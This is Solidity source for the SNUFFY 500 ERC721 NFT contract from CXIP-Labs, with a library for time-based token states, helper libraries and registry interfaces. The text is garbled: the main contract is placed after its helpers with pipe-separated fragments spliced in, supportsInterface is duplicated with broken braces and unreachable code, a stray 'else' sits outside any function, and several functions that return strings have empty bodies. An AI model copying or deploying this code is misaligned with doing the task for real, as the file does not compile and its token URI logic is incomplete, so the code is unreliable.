* @dev Concatenates with the CXIP domain name.
* @return string the token URI.
*/
function baseURI() public view returns (string memory) {
return string(abi.encodePacked("https://nft.cxip.io/", Strings.toHexString(address(this))));
}
function exists(uint256 tokenId) public view returns (bool) {
return !Address.isZero(_tokenOwner[tokenId]);
}
/**
* @notice Gets the approved address for the token.
* @dev Single operator set for a specific token. Usually used for one-time very specific authorisations.
* @param tokenId Token id to get approved operator for.
* @return address Approved address for token.
*/
function getApproved(uint256 tokenId) public view returns (address) {
return _tokenApprovals[tokenId];
}
/**
* @notice Get the associated identity for the collection.
* @dev Goes up the chain to read from the registry.
* @return address Identity contract address.
*/
function getIdentity() public view returns (address) {
return ICxipProvenance(getRegistry().getProvenance()).getWalletIdentity(_owner);
}
/**
* @notice Checks if the address is approved.
* @dev Includes references to OpenSea and Rarible marketplace proxies.
* @param wallet Address of the wallet.
* @param operator Address of the marketplace operator.
* @return bool True if approved.
*/
function isApprovedForAll(address wallet, address operator) public view returns (bool) {
// pre-approved OpenSea and Rarible proxies removed, per Nifty Gateway's request
return (_operatorApprovals[wallet][operator]/* ||
// Rarible Transfer Proxy
0x4feE7B061C97C9c496b01DbcE9CDb10c02f0a0Be == operator ||
// OpenSea Transfer Proxy
address(OpenSeaProxyRegistry(0xa5409ec958C83C3f309868babACA7c86DCB077c1).proxies(wallet)) == operator*/);
}
/**
* @notice Check if the sender is the owner.
* @dev The owner could also be the admin or identity contract of the owner.
* @return bool True if owner.
*/
function isOwner() public view returns (bool) {
return (msg.sender == _owner || msg.sender == _admin || isIdentityWallet(msg.sender));
}
/**
* @notice Gets the owner's address.
* @dev _owner is first set in init.
* @return address Of ower.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @notice Checks who the owner of a token is.
* @dev The token must exist.
* @param tokenId The token to look up.
* @return address Owner of the token.
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address tokenOwner = _tokenOwner[tokenId];
require(!Address.isZero(tokenOwner), "ERC721: token does not exist");
return tokenOwner;
}
/**
* @notice Get token by index.
* @dev Used in conjunction with totalSupply function to iterate over all tokens in collection.
* @param index Index of token in array.
* @return uint256 Returns the token id of token located at that index.
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "CXIP: index out of bounds");
return _allTokens[index];
}
/**
* @notice Get token from wallet by index instead of token id.
* @dev Helpful for wallet token enumeration where token id info is not yet available. Use in conjunction with balanceOf function.
* @param wallet Specific address for which to get token for.
* @param index Index of token in array.
* @return uint256 Returns the token id of token located at that index in specified wallet.
*/
function tokenOfOwnerByIndex(
address wallet,
uint256 index
) public view returns (uint256) {
require(index < balanceOf(wallet));
return _ownedTokens[wallet][index];
}
/**
* @notice Total amount of tokens in the collection.
* @dev Ignores burned tokens.
* @return uint256 Returns the total number of active (not burned) tokens.
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @notice Empty function that is triggered by external contract on NFT transfer.
* @dev We have this blank function in place to make sure that external contract sending in NFTs don't error out.
* @dev Since it's not being used, the _operator variable is commented out to avoid compiler warnings.
* @dev Since it's not being used, the _from variable is commented out to avoid compiler warnings.
* @dev Since it's not being used, the _tokenId variable is commented out to avoid compiler warnings.
* @dev Since it's not being used, the _data variable is commented out to avoid compiler warnings.
* @return bytes4 Returns the interfaceId of onERC721Received.
*/
function onERC721Received(
address, /*_operator*/
address, /*_from*/
uint256, /*_tokenId*/
bytes calldata /*_data*/
) public pure returns (bytes4) {
return 0x150b7a02;
}
/**
* @notice Allows retrieval of royalties from the contract.
* @dev This is a default fallback to ensure the royalties are available.
*/
function _royaltiesFallback() internal {
address _target = getRegistry().getPA1D();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @notice Checks if an address is an identity contract.
* @dev It must also be registred.
* @param sender Address to check if registered to identity.
* @return bool True if registred identity.
*/
function isIdentityWallet(address sender) internal view returns (bool) {
address identity = getIdentity();
if (Address.isZero(identity)) {
return false;
}
return ICxipIdentity(identity).isWalletRegistered(sender);
}
/**
* @dev Get the top-level CXIP Registry smart contract. Function must always be internal to prevent miss-use/abuse through bad programming practices.
* @return ICxipRegistry The address of the top-level CXIP Registry smart contract.
*/
function getRegistry() internal pure returns (ICxipRegistry) {
return ICxipRegistry(0xC267d41f81308D7773ecB3BDd863a902ACC01Ade);
}
/**
* @dev Add a newly minted token into managed list of tokens.
* @param to Address of token owner for which to add the token.
* @param tokenId Id of token to add.
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokensCount[to];
_ownedTokensCount[to]++;
_ownedTokens[to].push(tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @notice Deletes a token from the approval list.
* @dev Removes from count.
* @param tokenId T.
*/
function _clearApproval(uint256 tokenId) private {
delete _tokenApprovals[tokenId];
}
/**
* @notice Mints an NFT.
* @dev Can to mint the token to the zero address and the token cannot already exist.
* @param to Address to mint to.
* @param tokenId The new token.
*/
function _mint(address to, uint256 tokenId) private {
require(!Address.isZero(to), "CXIP: can't mint a burn");
require(!_exists(tokenId), "CXIP: token already exists");
_tokenOwner[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
delete _allTokens[lastTokenIndex];
_allTokens.pop();
}
/**
* @dev Remove a token from managed list of tokens.
* @param from Address of token owner for which to remove the token.
* @param tokenId Id of token to remove.
*/
function _removeTokenFromOwnerEnumeration(
address from,
uint256 tokenId
) private {
_removeTokenFromAllTokensEnumeration(tokenId);
_ownedTokensCount[from]--;
uint256 lastTokenIndex = _ownedTokensCount[from];
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if(tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
if(lastTokenIndex == 0) {
delete _ownedTokens[from];
} else {
delete _ownedTokens[from][lastTokenIndex];
_ownedTokens[from].pop();
}
}
/**
* @dev Primary internal function that handles the transfer/mint/burn functionality.
* @param from Address from where token is being transferred. Zero address means it is being minted.
* @param to Address to whom the token is being transferred. Zero address means it is being burned.
* @param tokenId Id of token that is being transferred/minted/burned.
*/
function _transferFrom(
address from,
address to,
uint256 tokenId
) private {
require(_tokenOwner[tokenId] == from, "CXIP: not from's token");
require(!Address.isZero(to), "CXIP: use burn instead");
_clearApproval(tokenId);
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
SnuffyToken.setTokenData(tokenId, SnuffyToken.getTokenState(tokenId), block.timestamp, tokenId);
}
/**
* @notice Checks if the token owner exists.
* @dev If the address is the zero address no owner exists.
* @param tokenId The affected token.
* @return bool True if it exists.
*/
function _exists(uint256 tokenId) private view returns (bool) {
address tokenOwner = _tokenOwner[tokenId];
return !Address.isZero(tokenOwner);
}
/**
* @notice Checks if the address is an approved one.
* @dev Uses inlined checks for different usecases of approval.
* @param spender Address of the spender.
* @param tokenId The affected token.
* @return bool True if approved.
*/
function _isApproved(address spender, uint256 tokenId) private view returns (bool) {
require(_exists(tokenId));
address tokenOwner = _tokenOwner[tokenId];
return (
spender == tokenOwner ||
getApproved(tokenId) == spender ||
isApprovedForAll(tokenOwner, spender)
);
}
}
library SnuffyToken {
/*
// current hard cap for the states and amount of mutations possible
uint256 statesLimit = 6;
// hardware limit of maximum number of mutations possible
uint256 maxStates = 8;
*/
/**
* @notice Gets the configs for each state.
* @dev Currently only max and limit are being utilised. Four more future values are reserved for later use.
* @return max maximum number of token states ever possible.
* @return limit currently imposed hardcap/limit of token states.
* @return future0 reserved for a future value.
* @return future1 reserved for a future value.
* @return future2 reserved for a future value.
* @return future3 reserved for a future value.
*/
function getStatesConfig() internal view returns (uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) {
uint256 unpacked;
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.statesConfig')) - 1);
assembly {
unpacked := sload(
/* slot */
0x320f7df63ad3c1fb03163fc8f47010f96d0a4b028d5ed2c9bdbc6b577caddacf
)
}
max = uint256(uint32(unpacked >> 0));
limit = uint256(uint32(unpacked >> 32));
future0 = uint256(uint32(unpacked >> 64));
future1 = uint256(uint32(unpacked >> 96));
future2 = uint256(uint32(unpacked >> 128));
future3 = uint256(uint32(unpacked >> 160));
}
/**
* @notice Sets the configs for each state.
* @dev Currently only max and limit are being utilised. Four more future values are reserved for later use.
* @param max maximum number of token states ever possible.
* @param limit currently imposed hardcap/limit of token states.
* @param future0 reserved for a future value.
* @param future1 reserved for a future value.
* @param future2 reserved for a future value.
* @param future3 reserved for a future value.
*/
function setStatesConfig(uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) internal {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.statesConfig')) - 1);
uint256 packed;
packed = packed | max << 0;
packed = packed | limit << 32;
packed = packed | future0 << 64;
packed = packed | future1 << 96;
packed = packed | future2 << 128;
packed = packed | future3 << 160;
assembly {
sstore(
/* slot */
0x320f7df63ad3c1fb03163fc8f47010f96d0a4b028d5ed2c9bdbc6b577caddacf,
packed
)
}
}
/**
* @dev Gets the timestamps for duration of each state from storage slot.
* @return _timestamps UNIX timestamps for controlling each state's maximum duration.
*/
function getStateTimestamps() internal view returns (uint256[8] memory _timestamps) {
uint256 data;
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.stateTimestamps')) - 1);
assembly {
data := sload(
/* slot */
0xb3272806717bb124fff9d338a5d6ec1182c08fc56784769d91b37c01055db8e2
)
}
for (uint256 i = 0; i < 8; i++) {
_timestamps[i] = uint256(uint32(data >> (32 * i)));
}
}
/**
* @dev Sets the timestamps for duration of each state to storage slot.
* @param _timestamps timestamps for controlling each state's maximum duration.
*/
function setStateTimestamps(uint256[8] memory _timestamps) internal {
uint256 packed;
for (uint256 i = 0; i < 8; i++) {
packed = packed | _timestamps[i] << (32 * i);
}
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.stateTimestamps')) - 1);
assembly {
sstore(
/* slot */
0xb3272806717bb124fff9d338a5d6ec1182c08fc56784769d91b37c01055db8e2,
packed
)
}
}
/**
* @dev Gets the number of tokens needed for a forced mutation from storage slot.
* @return _limits An array of number of tokens required for a forced mutation.
*/
function getMutationRequirements() internal view returns (uint256[8] memory _limits) {
uint256 data;
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.mutationRequirements')) - 1);
assembly {
data := sload(
/* slot */
0x6ab8a5e4f8314f5c905e9eb234db45800102f76ee29724ea1039076fe1c57441
)
}
for (uint256 i = 0; i < 8; i++) {
_limits[i] = uint256(uint32(data >> (32 * i)));
}
}
/**
* @dev Sets the number of tokens needed for a forced mutation to storage slot.
* @param _limits An array of number of tokens required for a forced mutation.
*/
function setMutationRequirements(uint256[8] memory _limits) internal {
uint256 packed;
for (uint256 i = 0; i < 8; i++) {
packed = packed | _limits[i] << (32 * i);
}
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.mutationRequirements')) - 1);
assembly {
sstore(
/* slot */
0x6ab8a5e4f8314f5c905e9eb234db45800102f76ee29724ea1039076fe1c57441,
packed
)
}
}
/**
* @dev Gets the authorised broker from storage slot.
* @return broker Address of authorised broker.
*/
function getBroker() internal view returns (address broker) {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.broker')) - 1);
assembly {
broker := sload(
/* slot */
0x71ad4b54125645bc093479b790dba1d002be6ff1fc59f46b726e598257e1e3c1
)
}
}
/**
* @dev Sets authorised broker to storage slot.
* @param broker Address of authorised broker.
*/
function setBroker(address broker) internal {
// The slot hash has been precomputed for gas optimizaion
// bytes32 slot = bytes32(uint256(keccak256('eip1967.CXIP.SnuffyToken.broker')) - 1);
assembly {
sstore(
/* slot */
0x71ad4b54125645bc093479b790dba1d002be6ff1fc59f46b726e598257e1e3c1,
broker
)
}
}
/**
* @dev Gets the configuration/mapping for tokenId to stencilId from storage slot.
* @return state The latest permanent state that the token was transferred with.
* @return timestamp The UNIX timestamp of when last transfer occurred.
* @return stencilId Mapping for which stencil the token id was assigned.
*/
function getTokenData(uint256 tokenId) internal view returns (uint256 state, uint256 timestamp, uint256 stencilId) {
uint256 unpacked;
bytes32 slot = bytes32(uint256(keccak256(abi.encodePacked("eip1967.CXIP.SnuffyToken.tokenData.", tokenId))) - 1);
assembly {
unpacked := sload(slot)
}
state = uint256(uint32(unpacked >> 0));
timestamp = uint256(uint32(unpacked >> 32));
stencilId = uint256(uint32(unpacked >> 64));
}
/**
* @dev Sets the configuration/mapping for tokenId to stencilId to storage slot.
* @param state The latest permanent state that the token was transferred with.
* @param timestamp The UNIX timestamp of when last transfer occurred.
* @param stencilId Mapping for which stencil the token id was assigned.
*/
function setTokenData(uint256 tokenId, uint256 state, uint256 timestamp, uint256 stencilId) internal {
bytes32 slot = bytes32(uint256(keccak256(abi.encodePacked("eip1967.CXIP.SnuffyToken.tokenData.", tokenId))) - 1);
uint256 packed;
packed = packed | state << 0;
packed = packed | timestamp << 32;
packed = packed | stencilId << 64;
assembly {
sstore(slot, packed)
}
}
function calculateState(uint256 tokenId) internal view returns (uint256 dataIndex) {
(uint256 max,/* uint256 limit*/,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = getStatesConfig();
(/*uint256 state*/,/* uint256 timestamp*/, uint256 stencilId) = getTokenData(tokenId);
dataIndex = max * stencilId;
return dataIndex + getTokenState(tokenId);
}
function getTokenState(uint256 tokenId) internal view returns (uint256 dataIndex) {
(/*uint256 max*/, uint256 limit,/* uint256 future0*/,/* uint256 future1*/,/* uint256 future2*/,/* uint256 future3*/) = getStatesConfig();
(uint256[8] memory _timestamps) = getStateTimestamps();
(uint256 state, uint256 timestamp,/* uint256 stencilId*/) = getTokenData(tokenId);
uint256 duration = block.timestamp - timestamp;
for (uint256 i = state; i < limit; i++) {
if (duration < _timestamps[i]) {
return i;
}
duration -= _timestamps[i];
}
return limit - 1;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function isZero(address account) internal pure returns (bool) {
return (account == address(0));
}
}
library Bytes {
function getBoolean(uint192 _packedBools, uint192 _boolNumber) internal pure returns (bool) {
uint192 flag = (_packedBools >> _boolNumber) & uint192(1);
return (flag == 1 ? true : false);
}
function setBoolean(
uint192 _packedBools,
uint192 _boolNumber,
bool _value
) internal pure returns (uint192) {
if (_value) {
return _packedBools | (uint192(1) << _boolNumber);
} else {
return _packedBools & ~(uint192(1) << _boolNumber);
}
}
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, "slice_overflow");
require(_bytes.length >= _start + _length, "slice_outOfBounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
tempBytes := mload(0x40)
let lengthmod := and(_length, 31)
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
mstore(0x40, and(add(mc, 31), not(31)))
}
default {
tempBytes := mload(0x40)
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function trim(bytes32 source) internal pure returns (bytes memory) {
uint256 temp = uint256(source);
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return slice(abi.encodePacked(source), 32 - length, length);
}
}
library Signature {
function Derive(
bytes32 r,
bytes32 s,
uint8 v,
bytes memory encoded
)
internal
pure
returns (
address derived1,
address derived2,
address derived3,
address derived4
)
{
bytes32 encoded32;
assembly {
encoded32 := mload(add(encoded, 32))
}
derived1 = ecrecover(encoded32, v, r, s);
derived2 = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", encoded32)), v, r, s);
encoded32 = keccak256(encoded);
derived3 = ecrecover(encoded32, v, r, s);
encoded32 = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", encoded32));
derived4 = ecrecover(encoded32, v, r, s);
}
function PackMessage(bytes memory encoded, bool geth) internal pure returns (bytes32) {
bytes32 hash = keccak256(encoded);
if (geth) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
return hash;
}
function Valid(
address target,
bytes32 r,
bytes32 s,
uint8 v,
bytes memory encoded
) internal pure returns (bool) {
bytes32 encoded32;
address derived;
if (encoded.length == 32) {
assembly {
encoded32 := mload(add(encoded, 32))
}
derived = ecrecover(encoded32, v, r, s);
if (target == derived) {
return true;
}
derived = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", encoded32)), v, r, s);
if (target == derived) {
return true;
}
}
bytes32 hash = keccak256(encoded);
derived = ecrecover(hash, v, r, s);
if (target == derived) {
return true;
}
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
derived = ecrecover(hash, v, r, s);
return target == derived;
}
}
library Strings {
function toHexString(address account) internal pure returns (string memory) {
return toHexString(uint256(uint160(account)));
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = bytes16("0123456789abcdef")[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
struct CollectionData {
bytes32 name;
bytes32 name2;
bytes32 symbol;
address royalties;
uint96 bps;
}
struct Token {
address collection;
uint256 tokenId;
InterfaceType tokenType;
address creator;
}
struct TokenData {
bytes32 payloadHash;
Verification payloadSignature;
address creator;
bytes32 arweave;
bytes11 arweave2;
bytes32 ipfs;
bytes14 ipfs2;
}
struct Verification {
bytes32 r;
bytes32 s;
uint8 v;
}
// This is a 256 value limit (uint8)
enum InterfaceType {
NULL, // 0
ERC20, // 1
ERC721, // 2
ERC1155 // 3
}
// This is a 256 value limit (uint8)
enum UriType {
ARWEAVE, // 0
IPFS, // 1
HTTP // 2
}
interface ICxipERC721 {
function arweaveURI(uint256 tokenId) external view returns (string memory);
function contractURI() external view returns (string memory);
function creator(uint256 tokenId) external view returns (address);
function httpURI(uint256 tokenId) external view returns (string memory);
function ipfsURI(uint256 tokenId) external view returns (string memory);
function name() external view returns (string memory);
function payloadHash(uint256 tokenId) external view returns (bytes32);
function payloadSignature(uint256 tokenId) external view returns (Verification memory);
function payloadSigner(uint256 tokenId) external view returns (address);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
/* Disabled due to tokenEnumeration not enabled.
function tokensOfOwner(
address wallet
) external view returns (uint256[] memory);
*/
function verifySHA256(bytes32 hash, bytes calldata payload) external pure returns (bool);
function approve(address to, uint256 tokenId) external;
function burn(uint256 tokenId) external;
function init(address newOwner, CollectionData calldata collectionData) external;
/* Disabled since this flow has not been agreed on.
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external payable;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external payable;
function setApprovalForAll(address to, bool approved) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external payable;
function transferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external payable;
function cxipMint(uint256 id, TokenData calldata tokenData) external returns (uint256);
function setApprovalForAll(
address from,
address to,
bool approved
) external;
function setName(bytes32 newName, bytes32 newName2) external;
function setSymbol(bytes32 newSymbol) external;
function transferOwnership(address newOwner) external;
/*
// Disabled due to tokenEnumeration not enabled.
function balanceOf(address wallet) external view returns (uint256);
*/
function baseURI() external view returns (string memory);
function getApproved(uint256 tokenId) external view returns (address);
function getIdentity() external view returns (address);
function isApprovedForAll(address wallet, address operator) external view returns (bool);
function isOwner() external view returns (bool);
function owner() external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
/* Disabled due to tokenEnumeration not enabled.
function tokenByIndex(uint256 index) external view returns (uint256);
*/
/* Disabled due to tokenEnumeration not enabled.
function tokenOfOwnerByIndex(
address wallet,
uint256 index
) external view returns (uint256);
*/
/* Disabled due to tokenEnumeration not enabled.
function totalSupply() external view returns (uint256);
*/
function totalSupply() external view returns (uint256);
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external pure returns (bytes4);
}
interface ICxipIdentity {
function addSignedWallet(
address newWallet,
uint8 v,
bytes32 r,
bytes32 s
) external;
function addWallet(address newWallet) external;
function connectWallet() external;
function createERC721Token(
address collection,
uint256 id,
TokenData calldata tokenData,
Verification calldata verification
) external returns (uint256);
function createERC721Collection(
bytes32 saltHash,
address collectionCreator,
Verification calldata verification,
CollectionData calldata collectionData
) external returns (address);
function createCustomERC721Collection(
bytes32 saltHash,
address collectionCreator,
Verification calldata verification,
CollectionData calldata collectionData,
bytes32 slot,
bytes memory bytecode
) external returns (address);
function init(address wallet, address secondaryWallet) external;
function getAuthorizer(address wallet) external view returns (address);
function getCollectionById(uint256 index) external view returns (address);
function getCollectionType(address collection) external view returns (InterfaceType);
function getWallets() external view returns (address[] memory);
function isCollectionCertified(address collection) external view returns (bool);
function isCollectionRegistered(address collection) external view returns (bool);
function isNew() external view returns (bool);
function isOwner() external view returns (bool);
function isTokenCertified(address collection, uint256 tokenId) external view returns (bool);
function isTokenRegistered(address collection, uint256 tokenId) external view returns (bool);
function isWalletRegistered(address wallet) external view returns (bool);
function listCollections(uint256 offset, uint256 length) external view returns (address[] memory);
function nextNonce(address wallet) external view returns (uint256);
function totalCollections() external view returns (uint256);
function isCollectionOpen(address collection) external pure returns (bool);
}
interface ICxipProvenance {
function createIdentity(
bytes32 saltHash,
address wallet,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256, address);
function createIdentityBatch(
bytes32 saltHash,
address[] memory wallets,
uint8[] memory V,
bytes32[] memory RS
) external returns (uint256, address);
function getIdentity() external view returns (address);
function getWalletIdentity(address wallet) external view returns (address);
function informAboutNewWallet(address newWallet) external;
function isIdentityValid(address identity) external view returns (bool);
function nextNonce(address wallet) external view returns (uint256);
}
interface ICxipRegistry {
function getAsset() external view returns (address);
function getAssetSigner() external view returns (address);
function getAssetSource() external view returns (address);
function getCopyright() external view returns (address);
function getCopyrightSource() external view returns (address);
function getCustomSource(bytes32 name) external view returns (address);
function getCustomSourceFromString(string memory name) external view returns (address);
function getERC1155CollectionSource() external view returns (address);
function getERC721CollectionSource() external view returns (address);
function getIdentitySource() external view returns (address);
function getPA1D() external view returns (address);
function getPA1DSource() external view returns (address);
function getProvenance() external view returns (address);
function getProvenanceSource() external view returns (address);
function owner() external view returns (address);
function setAsset(address proxy) external;
function setAssetSigner(address source) external;
function setAssetSource(address source) external;
function setCopyright(address proxy) external;
function setCopyrightSource(address source) external;
function setCustomSource(string memory name, address source) external;
function setERC1155CollectionSource(address source) external;
function setERC721CollectionSource(address source) external;
function setIdentitySource(address source) external;
function setPA1D(address proxy) external;
function setPA1DSource(address source) external;
function setProvenance(address proxy) external;
function setProvenanceSource(address source) external;
}
interface IPA1D {
function init(
uint256 tokenId,
address payable receiver,
uint256 bp
) external;
function supportsInterface(bytes4 interfaceId) external pure returns (bool);
}
|
* @title SNUFFY 500 @author CXIP-Labs @notice A smart contract for minting and managing SNUFFY 500 ERC721 NFTs. @dev The entire logic and functionality of the smart contract is self-contained./
|
contract SNUFFY500 {
CollectionData private _collectionData;
uint256 private _currentTokenId;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
mapping(uint256 => address) private _tokenOwner;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => uint256) private _ownedTokensCount;
mapping(address => uint256[]) private _ownedTokens;
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping(uint256 => TokenData) private _tokenData;
address private _admin;
address private _owner;
uint256 private _totalTokens;
mapping(uint256 => uint256) private _allTokensIndex;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed wallet, address indexed operator, uint256 indexed tokenId);
event ApprovalForAll(address indexed wallet, address indexed operator, bool approved);
event PermanentURI(string uri, uint256 indexed id);
constructor() {}
function getStatesConfig() public view returns (uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) {
return SnuffyToken.getStatesConfig();
}
function setStatesConfig(uint256 max, uint256 limit, uint256 future0, uint256 future1, uint256 future2, uint256 future3) public onlyOwner {
SnuffyToken.setStatesConfig(max, limit, future0, future1, future2, future3);
}
function getStateTimestamps() public view returns (uint256[8] memory) {
return SnuffyToken.getStateTimestamps();
}
function setStateTimestamps(uint256[8] memory _timestamps) public onlyOwner {
SnuffyToken.setStateTimestamps(_timestamps);
}
function getMutationRequirements() public view returns (uint256[8] memory) {
return SnuffyToken.getMutationRequirements();
}
function setMutationRequirements(uint256[8] memory _limits) public onlyOwner {
SnuffyToken.setMutationRequirements(_limits);
}
function getBroker() public view returns (address) {
return SnuffyToken.getBroker();
}
function setBroker(address broker) public onlyOwner {
SnuffyToken.setBroker(broker);
}
function getTokenState(uint256 tokenId) public view returns (uint256) {
return SnuffyToken.getTokenState(tokenId);
}
function getTokenDataIndex(uint256 tokenId) public view returns (uint256) {
return SnuffyToken.calculateState(tokenId);
}
function getTokenData(uint256 tokenId) public view returns (uint256, uint256, uint256) {
return SnuffyToken.getTokenData(tokenId);
}
modifier onlyOwner() {
require(isOwner(), "CXIP: caller not an owner");
_;
}
receive() external payable {}
fallback() external {
_royaltiesFallback();
}
function arweaveURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
}
function contractURI() external view returns (string memory) {
}
function creator(uint256 tokenId) external view returns (address) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].creator;
}
function httpURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
return string(abi.encodePacked(baseURI(), "/", Strings.toHexString(tokenId)));
}
function ipfsURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
}
function name() external view returns (string memory) {
return string(abi.encodePacked(Bytes.trim(_collectionData.name), Bytes.trim(_collectionData.name2)));
}
function payloadHash(uint256 tokenId) external view returns (bytes32) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].payloadHash;
}
function payloadSignature(uint256 tokenId) external view returns (Verification memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].payloadSignature;
}
function payloadSigner(uint256 tokenId) external view returns (address) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
return _tokenData[index].creator;
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
if (
IPA1D(getRegistry().getPA1D()).supportsInterface(interfaceId)
) {
return true;
return false;
}
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
if (
IPA1D(getRegistry().getPA1D()).supportsInterface(interfaceId)
) {
return true;
return false;
}
}
} else {
function symbol() external view returns (string memory) {
return string(Bytes.trim(_collectionData.symbol));
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "CXIP: token does not exist");
uint256 index = SnuffyToken.calculateState(tokenId);
}
function tokensOfOwner(address wallet) external view returns (uint256[] memory) {
return _ownedTokens[wallet];
}
function verifySHA256(bytes32 hash, bytes calldata payload) external pure returns (bool) {
bytes32 thePayloadHash = sha256(payload);
return hash == thePayloadHash;
}
function approve(address to, uint256 tokenId) public {
address tokenOwner = _tokenOwner[tokenId];
require(to != tokenOwner, "CXIP: can't approve self");
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
_tokenApprovals[tokenId] = to;
emit Approval(tokenOwner, to, tokenId);
}
function burn(uint256 tokenId) public {
require(_isApproved(msg.sender, tokenId), "CXIP: not approved sender");
